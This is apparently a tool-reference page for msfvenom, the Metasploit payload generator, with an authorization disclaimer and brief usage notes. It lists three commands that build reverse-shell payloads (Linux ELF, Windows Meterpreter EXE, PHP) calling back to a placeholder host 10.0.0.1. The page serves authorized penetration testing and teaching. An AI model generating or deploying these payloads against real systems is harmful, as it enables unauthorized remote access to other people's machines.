All tools

Exploitation

msfvenom

Payload generator/encoder from Metasploit project.

intermediate
Linux
Exploitation

Authorized testing only. Practice on systems you own, isolated labs, or targets with written permission. Unauthorized access is illegal.

When

You need a shellcode/payload for a lab exploit or handler.

How

Choose payload, LHOST/LPORT, format; pair with multi/handler.

Why

Standard way to generate many payload formats.

Commands & usage

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f elf -o shell.elf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 -f exe -o shell.exe
msfvenom -p php/reverse_php LHOST=10.0.0.1 LPORT=443 -f raw -o shell.php

Commands are educational examples. Adapt hosts, paths, and rates to your authorized scope.

Tags

payloads
metasploit

Related in Exploitation